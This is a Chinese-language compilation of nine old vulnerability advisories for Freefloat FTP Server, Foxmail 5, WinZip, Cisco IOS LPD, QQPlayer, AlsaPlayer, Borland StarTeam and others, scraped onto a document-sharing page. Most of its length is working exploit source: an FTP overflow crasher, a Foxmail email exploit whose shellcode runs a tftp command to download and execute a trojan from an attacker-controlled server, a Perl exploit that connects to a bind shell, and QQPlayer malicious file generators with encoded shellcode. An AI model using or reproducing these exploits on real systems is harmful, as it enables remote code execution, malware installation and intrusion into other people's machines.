Freefloat FTP Server多个命令远程缓冲区溢出漏洞漏洞预警

时间:2022-12-27 04:14:28 作者:咸鱼老祖 综合材料 收藏本文 下载本文

“咸鱼老祖”通过精心收集,向本站投稿了9篇Freefloat FTP Server多个命令远程缓冲区溢出漏洞漏洞预警,下面是小编为大家整理后的Freefloat FTP Server多个命令远程缓冲区溢出漏洞漏洞预警,欢迎大家借鉴与参考,希望对大家有所帮助。

篇1:Freefloat FTP Server多个命令远程缓冲区溢出漏洞漏洞预警

发布日期:2011-08-05

更新日期:2011-08-05

受影响系统:

Freefloat Freefloat FTP Server 1.00

描述:

--------------------------------------------------------------------------------

BUGTRAQ ID: 49052

Freefloat FTP Server是免费的用于上传文件和管理有线及无线设备的软件,

Freefloat FTP Server在多个命令的处理上存在远程缓冲区溢出漏洞,远程攻击者可利用这些漏洞在受影响应用程序中执行任意代码,也可能会造成拒绝服务。

<*来源:Veerendra G.G

*>

测试方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

49052.py

#!/usr/bin/python

##############################################################################

# Title    : Freefloat FTP Server Multiple Buffer Overflow Vulnerabilities

# Author   : Veerendra G.G from SecPod Technologies (www.secpod.com)

# Vendor   : www.freefloat.com/sv/utilities-tools/utilities-tools.php

# Advisory : secpod.org/blog/?p=310

#            secpod.org/SECPOD_FreeFloat_FTP_Server_BoF_PoC.py

#            secpod.org/advisories/SECPOD_FreeFloat_FTP_Server_BoF.txt

# Version  : Freefloat FTP Server Version 1.0

# Date     : 21/07/2011

##############################################################################

import sys, socket

def exploit(HOST, PORT, CMD):

try:

tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

tcp_sock.connect((HOST, PORT))

except Exception, msg:

print “[-] Not able to connect to : ” , HOST

sys.exit(0)

res = tcp_sock.recv(1024)

if “220 FreeFloat” not in res:

print “[-] FreeFloat FTP Server Not Found...”

tcp_sock.close

sys.exit(0)

tcp_sock.send(“USER test\\r\\n”)

tcp_sock.recv(1024)

tcp_sock.send(“PASS test\\r\\n”)

tcp_sock.recv(1024)

tcp_sock.send(CMD + “ ”+ “A” * 1000 + “\\r\\n”)

tcp_sock.close()

if __name__ == “__main__”:

if len(sys.argv) < 2:

print “\\t[-] Usage: python exploit.py target_ip”

print “\\t[-] Example : python exploit.py 127.0.0.1”

print “\\t[-] Exiting...”

sys.exit(0)

HOST = sys.argv[1]

PORT = 21

## Vulnerable Commands

CMDs = [“DELE”, “MDTM”, “RETR”, “RMD”, “RNFR”,

“RNTO”, “STOU”, “STOR”, “SIZE”, “APPE”, “STAT”]

for CMD in CMDs:

print “[+] Connecting with server...”

exploit(HOST, PORT, CMD)

print “[+] Exploit Sent with %s command...” %(CMD)

print “[+] Checking Server Crashed or not...”

try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

s.close()

except Exception, msg:

print “[+] Server Crashed with %s Command” %(CMD)

sys.exit(0)

建议:

--------------------------------------------------------------------------------

厂商补丁:

Freefloat

---------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.freefloat.com/

篇2:Foxmail 5远程缓冲区溢出漏洞漏洞预警

注:本文是2月xfocus成员在内部技术交流中提出的,在此之前,启明星辰技术人员已经发现这一漏洞,但未公开细节,xfocus成员听说存在这一漏洞后对Foxmail进行分析,并写出利用代码,

测试环境:win2k sp4+foxmail 5.0.300

以前测试foxmail 4.x的时候曾经发现过溢出漏洞,不过后来一直没时间研究就先放下了,后来听说Foxmail5也有溢出,但是一直没有看见公布。于是没事的时候干脆自己研究一下,测试后发现以前的溢出漏洞已经补上了,不过出了一个新的漏洞。

问题出在PunyLib.dll里面的UrlToLocal函数,估计这是一个用来处理垃圾邮件的链接库,当一封邮件被判定为垃圾邮件时,就会调用UrlToLocal来处理邮件体的“From: ”字段,处理过程中发生堆栈溢出,可以导致执行任意代码。

具体处理过程如下:

.text:10002040        public UrlToLocal

.text:10002040 UrlToLocal   proc near

.text:10002040

.text:10002040 arg_0     = dword ptr 4

.text:10002040 arg_4     = dword ptr 8

.text:10002040

.text:10002040        mov  eax, dword_1000804C

.text:10002045        mov  ecx, dword_10008030

.text:1000204B        mov  edx, [esp+arg_4]

.text:1000204F        push  offset aHttp  ; “”

.text:10002054        push  eax

.text:10002055        mov  eax, [esp+8+arg_0]

.text:10002059        push  offset unk_10008034

.text:1000205E        push  ecx

.text:1000205F        push  edx

.text:10002060        push  eax

.text:10002061        call  sub_10002070 ;调用10002070,其中参数里保存的是邮件体的“From: ”字段后面的内容

.text:10002070 sub_10002070  proc near       ; CODE XREF: UrlToLocal+21p

.text:10002070                    ; EmailAdrToLocal+107p

.text:10002070

.text:10002070 var_600    = dword ptr -600h

.text:10002070 var_500    = dword ptr -500h

.text:10002070 var_400    = dword ptr -400h

.text:10002070 var_300    = dword ptr -300h

.text:10002070 var_200    = dword ptr -200h

.text:10002070 var_100    = dword ptr -100h

.text:10002070 arg_0     = dword ptr 4

.text:10002070 arg_4     = dword ptr 8

.text:10002070 arg_8     = dword ptr 0Ch

.text:10002070 arg_C     = dword ptr 10h

.text:10002070 arg_10     = dword ptr 14h

.text:10002070 arg_14     = dword ptr 18h

.text:10002070

.text:10002070        mov  edx, [esp+arg_0]

.text:10002074        sub  esp, 600h

......

.text:100020DF        push  eax

.text:100020E0        push  ecx

.text:100020E1        push  ebx

.text:100020E2        call  sub_10001A30 ;调用10001A30,就是这个函数里面溢出了

.text:10001A30 sub_10001A30  proc near       ; CODE XREF: sub_10002070+72p

.text:10001A30                    ; sub_10002290+95p

.text:10001A30

.text:10001A30 var_104    = dword ptr -104h

.text:10001A30 var_100    = dword ptr -100h

.text:10001A30 arg_0     = dword ptr 4

.text:10001A30 arg_4     = dword ptr 8

.text:10001A30 arg_8     = dword ptr 0Ch

.text:10001A30 arg_C     = dword ptr 10h

.text:10001A30 arg_10     = dword ptr 14h

.text:10001A30 arg_14     = dword ptr 18h

.text:10001A30

.text:10001A30        sub  esp, 104h ;分配0x104字节大小的堆栈,但是拷贝的“From: ”字段最大为0x200

.text:10001A36        push  ebx

.text:10001A37        mov  ebx, [esp+108h+arg_0]

.text:10001A3E        push  ebp

.text:10001A3F        mov  ebp, [esp+10Ch+arg_10]

.text:10001A46        push  esi

.text:10001A47        xor  esi, esi

......

.text:10001AA9        sub  edi, ecx

.text:10001AAB        mov  eax, ecx

.text:10001AAD        mov  esi, edi

.text:10001AAF        mov  edi, edx

.text:10001AB1        shr  ecx, 2

.text:10001AB4        rep movsd ;这里进行内存拷贝的时候溢出了,按照“From: ”字段大小拷贝到0x104的缓冲区里

.text:10001AB6        mov  ecx, eax

.text:10001AB8        and  ecx, 3

.text:10001ABB        rep movsb

......

.text:10001AE7        mov  edi, [esp+114h+arg_C]

.text:10001AEE        shr  ecx, 2

.text:10001AF1        rep movsd ;这里有几处地方会对局部变量进行操作,因为这些变量都被覆盖了,所以需要把他们覆盖成可以写的地址,我覆盖的是0x7ffdf220这个地址,应该是PEB的区域,所以必须在后面shellcode里面把这个区域的内容恢复成0

.text:10001AF3        mov  ecx, eax

.text:10001AF5        and  ecx, 3

.text:10001AF8        rep movsb

......

.text:10001BD7        pop  edi

.text:10001BD8        pop  esi

.text:10001BD9        pop  ebp

.text:10001BDA        pop  ebx

.text:10001BDB        add  esp, 104h

.text:10001BE1        retn ;返回的时候就会回到我们的JMP ESP地址去

这个溢出无法覆盖SEH,而且字符串里面不能包含“@,(,,,\\r,\\n”这些乱七八糟的字符。shellcode用的是ey4s写的用URLMON下载并运行exe文件的那个。

有些MAIL服务器会把shellcode截断,所以我又改了一下,用比较短的shellcode直接运行tftp来下载程序并运行,测试了一下成功率比原来有所提高,但是容易被防火墙给拦截下来。

/* fmx.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit

*

* (C) COPYRIGHT XFOCUS Security Team, 2004

* All Rights Reserved

*

* This is unpublished proprietary source code of XFOCUS Security Team.

* It should not be distributed in any form. without express permission

* from XFOCUS Security Team.

*

* -----------------------------------------------------------------------

* Author : xfocus

*     : www.xfocus.org

* Maintain : XFOCUS Security Team

* Version : 0.2

*

* Test  : Windows 2000 server GB/XP professional

*        + Foxmail 5.0.300.0

* Notes  : unpublished vul.

* Greets : ey4s, and all member of XFOCUS Security Team.

* Complie : cl fmx.c

* Usage  : fmx

*      mail_addr: email address we wantto hack

*      tftp_server: run a tftp server and have a a.exe trojan

*      smtp_server: SMTP server don't need login, we send the email thru it

*

* Date  : 2004-02-27

* Revised : 2004-03-05

*

* Revise History:

* 2003-03-05 call WinExec() addr of Foxmail.exe module to run tftp for down&execute

*/

#include

#include

#include

#pragma comment (lib,“ws2_32”)

//mail body, it's based on a real spam email, heh

unsigned char packet[] =

“From: %s\\r\\n” //buffer to overrun

“Subject: Hi,man\\r\\n”

“MIME-Version: 1.0\\r\\n”

“Content-Type: multipart/mixed; boundary=\\”87122827\\“\\r\\n”

“\\r\\n”

“\\r\\n”

“--87122827\\r\\n”

“Content-Type: text/plain; charset=us-ascii\\r\\n”

“Content-Transfer-Encoding: 7bit\\r\\n”

“\\r\\n”

“T\\r\\n”

“\\r\\n”

“--87122827\\r\\n”

“Content-Disposition: attachment\\r\\n”

“Content-Type: Text/HTML;\\r\\n”

“ name=\\”girl.htm\\“\\r\\n”

“Content-Transfer-Encoding: 7bit\\r\\n”

“\\r\\n”

“\\r\\n”

“--87122827--\\r\\n”

“\\r\\n”

“.\\r\\n”;

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300)

unsigned char winexec[] =

“\\x83\\xec\\x50\\xeb\\x0c\\xb9\\x41\\x10\\xd3\\x5d\\xc1\\xe9\\x08\\xff\\x11\\xeb\\x08\\x33\\xdb\\x53\\xe8\\xec\\xff\\xff\\xff”;

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)

unsigned char winexec2[] =

“\\x83\\xec\\x50\\xeb\\x0c\\xb9\\x41\\x10\\xa3\\x5d\\xc1\\xe9\\x08\\xff\\x11\\xeb\\x08\\x33\\xdb\\x53\\xe8\\xec\\xff\\xff\\xff”;

#define SMTPPORT 25

int Make_Connection(char *address,int port,int timeout);

int SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);

int main(int argc, char * argv[])

{

WSADATA WSAData;

char *mailaddr = NULL;

char *tftp = NULL;

char *smtpserver = NULL;

if(argc!=4)

{

printf(“Usage: %s \\ne.g.:%s eeye@hack.com 202.2.3.4 219.3.2.1\\n”, argv[0], argv[0]);

return 1;

}

mailaddr=argv[1];

tftp=argv[2];

smtpserver=argv[3];

if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)

{

printf(“WSAStartup failed.\\n”);

WSACleanup();

exit(1);

}

//WinExec() address

SendXMail(mailaddr, tftp, smtpserver, winexec); //WinExec() address in Foxmail.exe module(foxmail 5.0.300)

SendXMail(mailaddr, tftp, smtpserver, winexec2); //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)

WSACleanup();

return 0;

}

// 建立TCP连接

// 输入:

//   char * address IP地址

//   int port   端口

//   int timeout  延时

// 输出:

// 返回:

//   成功 >0

//   错误 <=0

int Make_Connection(char *address,int port,int timeout)

{

struct sockaddr_in target;

SOCKET s;

int i;

DWORD bf;

fd_set wd;

struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);

if(s<0)

return -1;

target.sin_family = AF_INET;

target.sin_addr.s_addr = inet_addr(address);

if(target.sin_addr.s_addr==0)

{

closesocket(s);

return -2;

}

target.sin_port = htons(port);

bf = 1;

ioctlsocket(s,FIONBIO,&bf);

tv.tv_sec = timeout;

tv.tv_usec = 0;

FD_ZERO(&wd);

FD_SET(s,&wd);

connect(s,(struct sockaddr *)&target,sizeof(target));

if((i=select(s+1,0,&wd,0,&tv))==(-1))

{

closesocket(s);

return -3;

}

if(i==0)

{

closesocket(s);

return -4;

}

i = sizeof(int);

getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);

if((bf!=0)||(i!=sizeof(int)))

{

closesocket(s);

return -5;

}

ioctlsocket(s,FIONBIO,&bf);

return s;

}

//send magic mail

int SendXMail(  char *mailaddr, char *tftp, char *smtpserver, char *shellcode)

{

SOCKET csock;

int  ret,i=0;

char buf[510], sbuf[0x10000], tmp[500], tmp1[500];

csock = Make_Connection(smtpserver, SMTPPORT, 10);

if(csock<0)

{

printf(“connect err.\\n”);

exit(1);

}

memset(buf, 0, sizeof(buf));

ret=recv(csock, buf, 4096, 0);

if(ret<=0)

{

printf(“recv err.\\n”);

exit(1);

}

printf(buf);

ret=send(csock, “HELO server\\r\\n”,strlen(“HELO server\\r\\n”), 0);

if(ret<=0)

{

printf(“send err.\\n”);

exit(1);

}

memset(buf, 0, sizeof(buf));

ret=recv(csock, buf, 4096, 0);

if(ret<=0)

{

printf(“recv err.\\n”);

exit(1);

}

printf(buf);

ret=send(csock, “MAIL FROM: info@sina.com\\r\\n”,strlen(“MAIL FROM: info@sina.com\\r\\n”), 0);

if(ret<=0)

{

printf(“send err.\\n”);

exit(1);

}

memset(buf, 0, sizeof(buf));

ret=recv(csock, buf, 4096, 0);

if(ret<=0)

{

printf(“recv err.\\n”);

exit(1);

}

printf(buf);

sprintf(tmp, “RCPT TO: %s\\r\\n”, mailaddr);

ret=send(csock, tmp,strlen(tmp), 0);

if(ret<=0)

{

printf(“send err.\\n”);

exit(1);

}

memset(buf, 0, sizeof(buf));

ret=recv(csock, buf, 4096, 0);

if(ret<=0)

{

printf(“recv err.\\n”);

exit(1);

}

printf(buf);

Sleep(1000);

ret=send(csock, “DATA\\r\\n”,strlen(“DATA\\r\\n”), 0);

if(ret<=0)

{

printf(“send err.\\n”);

exit(1);

}

memset(buf, 0, sizeof(buf));

ret=recv(csock, buf, 4096, 0);

if(ret<=0)

{

printf(“recv err.\\n”);

exit(1);

}

printf(buf);

printf(“send exploit mail...\\n”);

memset(sbuf, 0, sizeof(sbuf));

memset(buf, 0, sizeof(buf));

memset(buf, 0x41, sizeof(buf)-1);

memset(tmp, 0, sizeof(tmp));

//strcpy(tmp, winexec);//WinExec() address in Foxmail.exe module(foxmail 5.0.300)

strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module

strcat(tmp, “cmd /c tftp -i %s get a.exe&a.exe:”);

sprintf(tmp1, tmp, tftp);

memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));

*(int *)(buf+0x100)=0x7ffa54cd; //ret addr jmp esp

*(int *)(buf+0x104)=0x80eb80eb; //jmp back

*(int *)(buf+0x108)=0x7ffdf220; //writeable addr

*(int *)(buf+0x110)=0x7ffdf220; //writeable addr

memcpy(buf, “girl\\x0d”, 5);

sprintf(sbuf, (char *)packet, buf);

ret=send(csock, sbuf,strlen(sbuf), 0);

if(ret<=0)

{

printf(“send err.\\n”);

exit(1);

}

memset(buf, 0, sizeof(buf));

ret=recv(csock, buf, 4096, 0);

if(ret<=0)

{

printf(“recv err.\\n”);

exit(1);

}

printf(buf);

printf(“exploit mail sent.\\n”);

closesocket(csock);

return 0;

}

安全焦点

篇3:Winzip存在多个缓冲区溢出漏洞

Winzip存在多个缓冲区溢出漏洞

受影响系统:

WinZip 3.x

WinZip 6.x

WinZip 7.x

WinZip 8.x

WinZip 9.x

漏洞描述:

Winzip存在多个潜在安全漏洞,可危及用户系统安全,

1) 一些未明漏洞可导致缓冲溢出,

利用这些漏洞可能导致执行任意代码。

2) 一个问题导致事由于未正确确认命令行参数,通过使用特殊构建的参数可导致缓冲溢出和可能执行任意代码漏洞。

补丁下载:

www.winzip.com/upgrade.htm

热门推荐:苹果专题、时尚专题

点击阅读更多学院相关文章>>

分享到

篇4:IOS LPD远程缓冲区溢出漏洞

Cisco IOS的LPD服务在处理超长的设备名时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制设备或导致设备拒绝服务,行式打印机服务(LPD) 用于在Cisco IOS中提供打印服务。如果IOS中配置了LPD守护程序的话,该服务会监听于默认的LPD端口TCP 515。如果任何非515的源TCP端口进行连接时,就会显示以下错误:

$ telnet 172.30.3.101 515

Trying 172.30.3.101...

Connected to 172.30.3.101 (172.30.3.101).

Escape character is '^]'.

hostname_of_the_router: /usr/lib/lpd: Malformed from address

如果主机名大于等于99个字符的话,就会由于调用sprintf函数而导致溢出,

尽管技术上是栈溢出,但由于IOS为进程栈分配堆内存,因此所覆盖的内存实际为堆。由于堆内存用作了栈,在出现溢出时主机名可以覆盖存储在字符缓冲区开始之前的返回地址,但由于某些原因在缓冲区到达堆块边界处的red zone之前不会出现崩溃,因此在出现崩溃和路由器重启后,内存dump显示的是堆破坏。

必须要控制主机名才能利用这个漏洞。如果设备上在运行SNMP且知道rw团体字符串(通常为默认值private),就可以如下设置主机名:

$ snmpset -Os -c private -v 1 10.0.0.1 system.sysName.0 s long_hostname

建议:

临时解决方法:

* 使用no printer命令禁用LPD服务。

* 配置访问列表限制对TCP 515端口的访问。

篇5:FtpdInnes 远程溢出Exploit漏洞预警

#!/usr/bin/perl -w

use IO::Socket;

if(!($ARGV[1]))

{

print “Usage: ./Ftpd-innes.pl target host port\\n\\n”;

exit;

}

$victim = IO::Socket::INET->new(Proto=>''udp'',

PeerAddr=>$ARGV[0],

PeerPort=>$ARGV[1])

or die “Cannot connect to $ARGV[0] sulla porta $ARGV[1]”;

my $nop0=“\\x90”x20;

my $asm=“\\x7c\\xc5\\x66\\x07\\x12\\x02\\x50\\xc3”;

my $nop1=“\\x90”x60;

my $nop2=“\\x90”x10;

my $eip=“\\x42\\xfd\\x60\\x40”;

#my $eip=“A”x5;

my $shellcode =

“\\x29\\xc9\\x83\\xe9\\xb0\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\xed”.

“\\x7d\\x09\\xbf\\x83\\xeb\\xfc\\xe2\\xf4\\x11\\x17\\xe2\\xf2\\x05\\x84\\xf6\\x40”.

“\\x12\\x1d\\x82\\xd3\\xc9\\x59\\x82\\xfa\\xd1\\xf6\\x75\\xba\\x95\\x7c\\xe6\\x34”.

“\\xa2\\x65\\x82\\xe0\\xcd\\x7c\\xe2\\xf6\\x66\\x49\\x82\\xbe\\x03\\x4c\\xc9\\x26”.

“\\x41\\xf9\\xc9\\xcb\\xea\\xbc\\xc3\\xb2\\xec\\xbf\\xe2\\x4b\\xd6\\x29\\x2d\\x97”.

“\\x98\\x98\\x82\\xe0\\xc9\\x7c\\xe2\\xd9\\x66\\x71\\x42\\x34\\xb2\\x61\\x08\\x54”.

“\\xee\\x51\\x82\\x36\\x81\\x59\\x15\\xde\\x2e\\x4c\\xd2\\xdb\\x66\\x3e\\x39\\x34”.

“\\xad\\x71\\x82\\xcf\\xf1\\xd0\\x82\\xff\\xe5\\x23\\x61\\x31\\xa3\\x73\\xe5\\xef”.

“\\x12\\xab\\x6f\\xec\\x8b\\x15\\x3a\\x8d\\x85\\x0a\\x7a\\x8d\\xb2\\x29\\xf6\\x6f”.

“\\x85\\xb6\\xe4\\x43\\xd6\\x2d\\xf6\\x69\\xb2\\xf4\\xec\\xd9\\x6c\\x90\\x01\\xbd”.

“\\xb8\\x17\\x0b\\x40\\x3d\\x15\\xd0\\xb6\\x18\\xd0\\x5e\\x40\\x3b\\x2e\\x5a\\xec”.

“\\xbe\\x2e\\x4a\\xec\\xae\\x2e\\xf6\\x6f\\x8b\\x15\\x18\\xe3\\x8b\\x2e\\x80\\x5e”.

“\\x78\\x15\\xad\\xa5\\x9d\\xba\\x5e\\x40\\x3b\\x17\\x19\\xee\\xb8\\x82\\xd9\\xd7”.

“\\x49\\xd0\\x27\\x56\\xba\\x82\\xdf\\xec\\xb8\\x82\\xd9\\xd7\\x08\\x34\\x8f\\xf6”.

“\\xba\\x82\\xdf\\xef\\xb9\\x29\\x5c\\x40\\x3d\\xee\\x61\\x58\\x94\\xbb\\x70\\xe8”.

“\\x12\\xab\\x5c\\x40\\x3d\\x1b\\x63\\xdb\\x8b\\x15\\x6a\\xd2\\x64\\x98\\x63\\xef”.

“\\xb4\\x54\\xc5\\x36\\x0a\\x17\\x4d\\x36\\x0f\\x4c\\xc9\\x4c\\x47\\x83\\x4b\\x92”.

“\\x13\\x3f\\x25\\x2c\\x60\\x07\\x31\\x14\\x46\\xd6\\x61\\xcd\\x13\\xce\\x1f\\x40”.

“\\x98\\x39\\xf6\\x69\\xb6\\x2a\\x5b\\xee\\xbc\\x2c\\x63\\xbe\\xbc\\x2c\\x5c\\xee”.

“\\x12\\xad\\x61\\x12\\x34\\x78\\xc7\\xec\\x12\\xab\\x63\\x40\\x12\\x4a\\xf6\\x6f”.

“\\x66\\x2a\\xf5\\x3c\\x29\\x19\\xf6\\x69\\xbf\\x82\\xd9\\xd7\\x1d\\xf7\\x0d\\xe0”.

“\\xbe\\x82\\xdf\\x40\\x3d\\x7d\\x09\\xbf”;

$exploit = “\\x00\\x01” . $nop0 .$asm.$nop1. $shellcode. $nop2 .$eip. “\\x00\\x7e\\x56\\x70\\x60\\x70\\x45\\x69\\x69\\x00”;

print $victim $exploit;

print “ + Malicious request sent ...\\n”;

sleep(2);

print “Done.\\n”;

close($victim);

$host = $ARGV[0];

print “ + connect to 4444 port of $host ...\\n”;

sleep(3);

system(“telnet $host 4444”);

exit;

篇6:QQPlayer CUE文件缓冲区溢出漏洞漏洞预警

#!/usr/bin/env python

#################################################################

#

# Title: QQPlayer cue File Buffer Overflow Exploit

# Author: Lufeng Li of Neusoft Corporation

# Vendor: www.qq.com

# Platform. Windows XPSP3 Chinese Simplified

# Tested: QQPlayer 2.3.696.400

# Vulnerable: QQPlayer<=2.3.696.400p1

#

#################################################################

# Code :

head = ''''''FILE “''''''

junk = ”A“ * 780

nseh =”\\x42\\x61\\x21\\x61“

seh =”\\xa9\\x9e\\x41\\x00“

adjust=”\\x32\\x42\\x61\\x33\\xca\\x83\\xc0\\x10“

shellcode=(”hffffk4diFkTpj02Tpk0T0AuEE2C4s4o0t0w174t0c7L0T0V7L2z1l131o2q1k2D1l081o“

”0v1o0a7O2r0T3w3e1P0a7o0a3Y3K0l3w038N5L0c5p8K354q2j8N5O00PYVTX10X41PZ41“

”H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2C5CJO1E0G1I4T1R2M0T1V7L1TKL2CK“

”NK0KN2EKL08KN1FKO1Q7LML2N3W46607K7N684H310I9W025DOL1S905A4D802Z5DOO01“)

junk_=”R“*8000

foot =''''''.avi” VIDEO''''''+“\\x0a”''''''TRACK 02 MODE1/8888''''''+“\\x0a”+“INDEX 08 08:08:08”

payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open(“poc.cue”,“w”)

fobj.write(payload)

fobj.close

篇7:AlsaPlayer 存在处理远程缓冲区溢出漏洞

受影响系统: Alsaplayer Alsaplayer 0.99.80-rc2 Alsaplayer Alsaplayer 0.99.76 Alsaplayer Alsaplayer 0.99.71 不受影响系统: Alsaplayer Alsaplayer 0.99.80-rc3 描述: --------------------------------------------------------------------

受影响系统: Alsaplayer Alsaplayer 0.99.80-rc2 Alsaplayer Alsaplayer 0.99.76 Alsaplayer Alsaplayer 0.99.71 不受影响系统: Alsaplayer Alsaplayer 0.99.80-rc3 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 25969 AlsaPlayer是一个为ALSA声音系统编写的PCM 播放器,也支持OSS、NAS 和ESD,

AlsaPlayer 存在处理远程缓冲区溢出漏洞

, AlsaPlayer在处理畸形格式的OGG文件时存在漏洞,远程攻击者可能利用此漏洞控制用户系统。 AlsaPlayer中的vorbis输入插件没有正确地处理.OGG文件,如果用户受骗打开了带有超长标注的特制.OGG文件的话,就可能触发缓冲区溢出,导致执行任意指令。 <*来源:Erik Sjölund 链接:sourceforge.net/project/shownotes.php?release_id=544663&group_id=249 secunia.com/advisories/27117/ *>建议: -------------------------------------------------------------------------------- 厂商补丁: Alsaplayer ---------- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: downloads.sourceforge.net/alsaplayer/alsaplayer-0.99.80-rc4.tar.gz

篇8:Borland StarTeam 含多个远程溢出及拒绝服务漏洞

受影响系统: Borland StarTeam server 2008 <= 10.0.0.57 Borland StarTeam MPX <= 6.7 描述: Borland Starteam是Borland公司ALM生命周期管理的核心工具,是目前市面上最好的软件配置管理工具之一, Starteam服务器没有正确地计算为从客户端所

受影响系统:

Borland StarTeam server 2008 <= 10.0.0.57

Borland StarTeam MPX <= 6.7 描述:

Borland Starteam是Borland公司ALM生命周期管理的核心工具,是目前市面上最好的软件配置管理工具之一。 Starteam服务器没有正确地计算为从客户端所接收到的某些数组所需分配的内存数,导致多个整数溢出漏洞。在PROJECT_LOGIN和SET_SERVER_ACL命令中,有32位从客户端所接收到的用于指定报文中条目数量的数字分别被乘以8(或4,具体取决于文件名名称或规范)和12,然后未经考虑32位的限制便将结果用于分配内存,这可能触发堆溢出,允许攻击者控制某些寄存器,导致执行恶意指令。但攻击者必须拥有有效帐号才能利用这些漏洞。 StarTeam MPX也存在多个溢出和拒绝服务漏洞: ------------------------------------------------------------

A] 剩余数据计算整数溢出

------------------------------------------------------------ STMessageBroker67和STMulticastService67进程所使用的TmsgBufMsgDeserializeEx函数用于对入站数据执行还原序列化操作,

协议由报文中顺序排列的三类数据组成:列表,数组(16字节固定大小)和剩余数据。在计算剩余数据大小时存在整数溢出,如果使用了少于报文中所指定的数组数量的话,就可以触发这个溢出。但成功利用这个漏洞只能导致服务崩溃,因为无法利用任意数据覆盖服务器的内存。 ---------------------------------------------

B] 列表处理堆溢出

--------------------------------------------- 列表中包含的初始32位值指定报文中列表组所占的字节数,其中每个列表为16位大小值,之后为其中所声明数量的数据。由于服务器没有检查目标缓冲区的大小,允许攻击者利用之后的堆溢出导致服务崩溃或执行任意指令。 ---------------------------------------------------

C] 无法分配内存导致进程终止

--------------------------------------------------- 用于计算所要分配的以下数据数量时: 报文大小

列表大小

数组数 * 16

头大小 如果无法分配上述大小数量内存的话,就会导致服务器终止。 厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: www.borland.com/

篇9:QQPlayer asx文件处理缓冲区溢出漏洞漏洞预警

#################################################################

#

# Title: QQPlayer asx File Processing Buffer Overflow Exploit

# Author: Li Qingshan of Information Security Engineering Center,School of Software and Microelectronics,Peking University

# Vendor: www.qq.com

# Platform. Windows XPSP3 Chinese Simplified

# Test: QQPlayer 2.3.696.400

# Vulnerable: QQPlayer<=2.3.696.400p1

#

#################################################################

# Code :

head =''''''

junk = “A” * 1975

nseh =“\\x42\\x61\\x21\\x61”

seh =“\\xa9\\x9e\\x41\\x00”

adjust=“\\x30\\x83\\xc0\\x0c”

shellcode=(“PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV”

“QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL”

“KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9”

“QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW”

“TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R”

“HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA”)

junk_=“R”*8000

foot =''''''_playlis.wma“/>

''''''

payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open(”poc.asx“,”w\")

fobj.write(payload)

fobj.close()

IBMDB2Universal中存在多个漏洞

phpWebThings = 1.5.2 MD5 Hash恢复/文件公开远程漏洞漏洞预警

DirCMS 任意文件读取0day漏洞预警

漏洞整改报告

Shopv8 商城系统 v12.07 Cookies 注入漏洞漏洞预警

micecms一个鸡肋漏洞及修复 附EXP漏洞预警

EasyTalk 微博本地文件包含漏洞漏洞预警

ewebeditor(PHP) Ver 3.8 任意文件上传0day漏洞预警

永久网络个人音乐盒LajoxBox v1.1上传漏洞利用漏洞预警

规章制度执行有漏洞

Freefloat FTP Server多个命令远程缓冲区溢出漏洞漏洞预警(锦集9篇)

欢迎下载DOC格式的Freefloat FTP Server多个命令远程缓冲区溢出漏洞漏洞预警,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档